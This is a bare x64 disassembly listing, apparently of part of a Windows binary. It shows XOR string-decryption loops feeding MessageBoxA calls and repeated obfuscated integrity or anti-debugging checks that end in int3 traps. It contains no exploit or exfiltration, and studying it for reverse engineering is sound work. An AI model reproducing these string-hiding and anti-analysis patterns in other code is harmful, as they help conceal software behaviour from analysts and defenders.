movdqa xmm0, xmmword [0x1400c0cf0]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], 0x60
mov r10, r14
movabs rbx, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1590ab082f
movabs r9, 0x2b2156105e
movabs r15, 0x144bec43e
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x368]
xor dil, r10b
mov byte [rbp + r10 + 0x368], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14001b748
mov byte [rbp + 0x379], r14b
movdqa xmm0, xmmword [0x1400c0c20]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0xdd60f60d
mov word [rbp + 0x76c], __WSAFDIsSet
mov r9, r14
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x1aa3a6192b
movabs r10, 0x35474c3256
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x758], dil
inc r9
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x14001b7f4
mov byte [rbp + 0x76d], r14b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x14001b925
mov rax, qword gs:[0x3a]
movabs r15, 0x2beb6ad95121aad0
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b905
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b905
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b925
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x14001bd19
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x22ed25ae
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b9c6
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b9c6
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bd19
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14001ba90
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ba70
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ba70
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ba90
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
movdqa xmm0, xmmword [0x1400c0cf0]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], 0x60
mov rdi, r14
movabs rbx, 0x144bec43e
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.14001be4c
xor al, dil
mov byte [rbp + rdi + 0x380], al
add rdi, rsi
cmp rdi, 0x11
jb 0x14001bab6
mov byte [rbp + 0x391], r14b
movdqa xmm0, xmmword [0x1400c0e90]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400c0c50]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400c0c90]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0xedb353a9
mov dword [rbp + 0xd0c], 0x90a52467
mov dword [rbp + 0xd10], 0xa872c72f
mov word [rbp + 0xd14], Ordinal_79
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.14001bec0
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
add rdi, rsi
cmp rdi, 0x3d
jb 0x14001bb4b
mov byte [rbp + 0xd15], r14b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14001bc5c
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x22ed25ae
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bc3c
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bc3c
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bc5c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14001bd1e
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x22ed25ae
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bcf9
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bcf9
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bd1e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov esi, 1